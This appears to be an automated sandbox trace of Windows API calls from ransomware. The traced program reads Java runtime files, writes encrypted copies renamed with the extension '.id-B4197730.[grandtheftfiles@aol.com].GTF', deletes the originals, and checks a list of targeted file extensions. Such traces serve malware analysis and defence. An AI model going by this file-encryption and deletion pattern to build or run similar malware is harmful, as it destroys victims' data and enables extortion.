	[0162.420] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0162.421] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.421] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0162.421] SetEndOfFile (hFile=0x538) returned 1
	[0162.421] CloseHandle (hObject=0x538) returned 1
	[0162.421] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.421] SetEndOfFile (hFile=0x508) returned 1
	[0162.424] CloseHandle (hObject=0x508) returned 1
	[0162.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.424] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1
	[0162.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.425] lstrlenW (lpString=".doc") returned 4
	[0162.425] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString=".docx") returned 5
	[0162.425] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0162.425] lstrlenW (lpString=".pdf") returned 4
	[0162.425] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString=".xls") returned 4
	[0162.425] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString=".xlsx") returned 5
	[0162.425] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0162.425] lstrlenW (lpString=".ppt") returned 4
	[0162.425] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.425] lstrlenW (lpString=".zip") returned 4
	[0162.425] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString=".rar") returned 4
	[0162.425] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString=".bz2") returned 4
	[0162.425] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString=".7z") returned 3
	[0162.425] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0162.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.425] lstrlenW (lpString=".dbf") returned 4
	[0162.425] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.425] lstrlenW (lpString=".1cd") returned 4
	[0162.425] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0162.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.425] lstrlenW (lpString=".jpg") returned 4
	[0162.425] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.426] lstrlenW (lpString=".doc") returned 4
	[0162.426] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString=".docx") returned 5
	[0162.426] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1
	[0162.426] lstrlenW (lpString=".pdf") returned 4
	[0162.426] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString=".xls") returned 4
	[0162.426] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString=".xlsx") returned 5
	[0162.426] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1
	[0162.426] lstrlenW (lpString=".ppt") returned 4
	[0162.426] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.426] lstrlenW (lpString=".zip") returned 4
	[0162.426] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString=".rar") returned 4
	[0162.426] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString=".bz2") returned 4
	[0162.426] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString=".7z") returned 3
	[0162.426] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1
	[0162.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.426] lstrlenW (lpString=".dbf") returned 4
	[0162.426] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.426] lstrlenW (lpString=".1cd") returned 4
	[0162.426] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1
	[0162.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67
	[0162.426] lstrlenW (lpString=".jpg") returned 4
	[0162.426] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1
	[0162.426] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0162.427] lstrlenW (lpString="management-agent.jar") returned 20
	[0162.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.427] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=381) returned 1
	[0162.427] CloseHandle (hObject=0x508) returned 1
	[0162.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20
	[0162.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.428] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.428] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.429] GetLastError () returned 0x0
	[0162.429] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x17d, lpOverlapped=0x0) returned 1
	[0162.430] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x180, lpOverlapped=0x0) returned 1
	[0162.431] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.431] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0162.432] SetEndOfFile (hFile=0x538) returned 1
	[0162.432] CloseHandle (hObject=0x538) returned 1
	[0162.432] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.432] SetEndOfFile (hFile=0x508) returned 1
	[0162.436] CloseHandle (hObject=0x508) returned 1
	[0162.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.436] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1
	[0162.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.437] lstrlenW (lpString=".doc") returned 4
	[0162.437] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.437] lstrlenW (lpString=".docx") returned 5
	[0162.437] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0162.437] lstrlenW (lpString=".pdf") returned 4
	[0162.437] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.437] lstrlenW (lpString=".xls") returned 4
	[0162.437] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.437] lstrlenW (lpString=".xlsx") returned 5
	[0162.437] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0162.437] lstrlenW (lpString=".ppt") returned 4
	[0162.437] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.437] lstrlenW (lpString=".zip") returned 4
	[0162.437] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.437] lstrlenW (lpString=".rar") returned 4
	[0162.437] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.437] lstrlenW (lpString=".bz2") returned 4
	[0162.437] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.437] lstrlenW (lpString=".7z") returned 3
	[0162.437] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.437] lstrlenW (lpString=".dbf") returned 4
	[0162.437] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.437] lstrlenW (lpString=".1cd") returned 4
	[0162.437] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.437] lstrlenW (lpString=".jpg") returned 4
	[0162.437] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.437] lstrlenW (lpString=".doc") returned 4
	[0162.437] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.437] lstrlenW (lpString=".docx") returned 5
	[0162.437] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0162.438] lstrlenW (lpString=".pdf") returned 4
	[0162.438] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.438] lstrlenW (lpString=".xls") returned 4
	[0162.438] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.438] lstrlenW (lpString=".xlsx") returned 5
	[0162.438] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0162.438] lstrlenW (lpString=".ppt") returned 4
	[0162.438] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.438] lstrlenW (lpString=".zip") returned 4
	[0162.438] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.438] lstrlenW (lpString=".rar") returned 4
	[0162.438] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.438] lstrlenW (lpString=".bz2") returned 4
	[0162.438] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.438] lstrlenW (lpString=".7z") returned 3
	[0162.438] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.438] lstrlenW (lpString=".dbf") returned 4
	[0162.438] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.438] lstrlenW (lpString=".1cd") returned 4
	[0162.438] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59
	[0162.438] lstrlenW (lpString=".jpg") returned 4
	[0162.438] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.438] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".GTF") returned -1
	[0162.438] lstrlenW (lpString="meta-index") returned 10
	[0162.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.439] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2126) returned 1
	[0162.439] CloseHandle (hObject=0x508) returned 1
	[0162.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20
	[0162.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.439] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.439] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.440] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.440] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.440] GetLastError () returned 0x0
	[0162.440] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x84e, lpOverlapped=0x0) returned 1
	[0162.738] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x850, lpOverlapped=0x0) returned 1
	[0162.741] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.741] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0162.741] SetEndOfFile (hFile=0x538) returned 1
	[0162.741] CloseHandle (hObject=0x538) returned 1
	[0162.741] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.741] SetEndOfFile (hFile=0x508) returned 1
	[0162.744] CloseHandle (hObject=0x508) returned 1
	[0162.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.745] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1
	[0162.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.746] lstrlenW (lpString=".doc") returned 4
	[0162.746] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0162.746] lstrlenW (lpString=".docx") returned 5
	[0162.746] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0162.746] lstrlenW (lpString=".pdf") returned 4
	[0162.746] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0162.746] lstrlenW (lpString=".xls") returned 4
	[0162.746] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0162.746] lstrlenW (lpString=".xlsx") returned 5
	[0162.746] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0162.746] lstrlenW (lpString=".ppt") returned 4
	[0162.746] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0162.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.746] lstrlenW (lpString=".zip") returned 4
	[0162.746] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0162.746] lstrlenW (lpString=".rar") returned 4
	[0162.746] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".bz2") returned 4
	[0162.747] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".7z") returned 3
	[0162.747] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0162.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.747] lstrlenW (lpString=".dbf") returned 4
	[0162.747] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.747] lstrlenW (lpString=".1cd") returned 4
	[0162.747] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.747] lstrlenW (lpString=".jpg") returned 4
	[0162.747] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.747] lstrlenW (lpString=".doc") returned 4
	[0162.747] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".docx") returned 5
	[0162.747] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0162.747] lstrlenW (lpString=".pdf") returned 4
	[0162.747] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".xls") returned 4
	[0162.747] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".xlsx") returned 5
	[0162.747] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0162.747] lstrlenW (lpString=".ppt") returned 4
	[0162.747] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.747] lstrlenW (lpString=".zip") returned 4
	[0162.747] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".rar") returned 4
	[0162.747] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".bz2") returned 4
	[0162.747] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0162.747] lstrlenW (lpString=".7z") returned 3
	[0162.748] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.748] lstrlenW (lpString=".dbf") returned 4
	[0162.748] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.748] lstrlenW (lpString=".1cd") returned 4
	[0162.748] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0162.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49
	[0162.748] lstrlenW (lpString=".jpg") returned 4
	[0162.748] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0162.748] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0162.748] lstrlenW (lpString="rt.jar") returned 6
	[0162.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.748] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=54560347) returned 1
	[0162.749] CloseHandle (hObject=0x508) returned 1
	[0162.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20
	[0162.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.749] lstrlenW (lpString=".doc") returned 4
	[0162.749] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.749] lstrlenW (lpString=".docx") returned 5
	[0162.749] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0162.749] lstrlenW (lpString=".pdf") returned 4
	[0162.749] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.749] lstrlenW (lpString=".xls") returned 4
	[0162.749] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.749] lstrlenW (lpString=".xlsx") returned 5
	[0162.749] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0162.749] lstrlenW (lpString=".ppt") returned 4
	[0162.749] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.749] lstrlenW (lpString=".zip") returned 4
	[0162.749] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.749] lstrlenW (lpString=".rar") returned 4
	[0162.749] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.750] lstrlenW (lpString=".bz2") returned 4
	[0162.750] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.750] lstrlenW (lpString=".7z") returned 3
	[0162.750] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.750] lstrlenW (lpString=".dbf") returned 4
	[0162.750] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.750] lstrlenW (lpString=".1cd") returned 4
	[0162.750] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.750] lstrlenW (lpString=".jpg") returned 4
	[0162.750] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0162.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
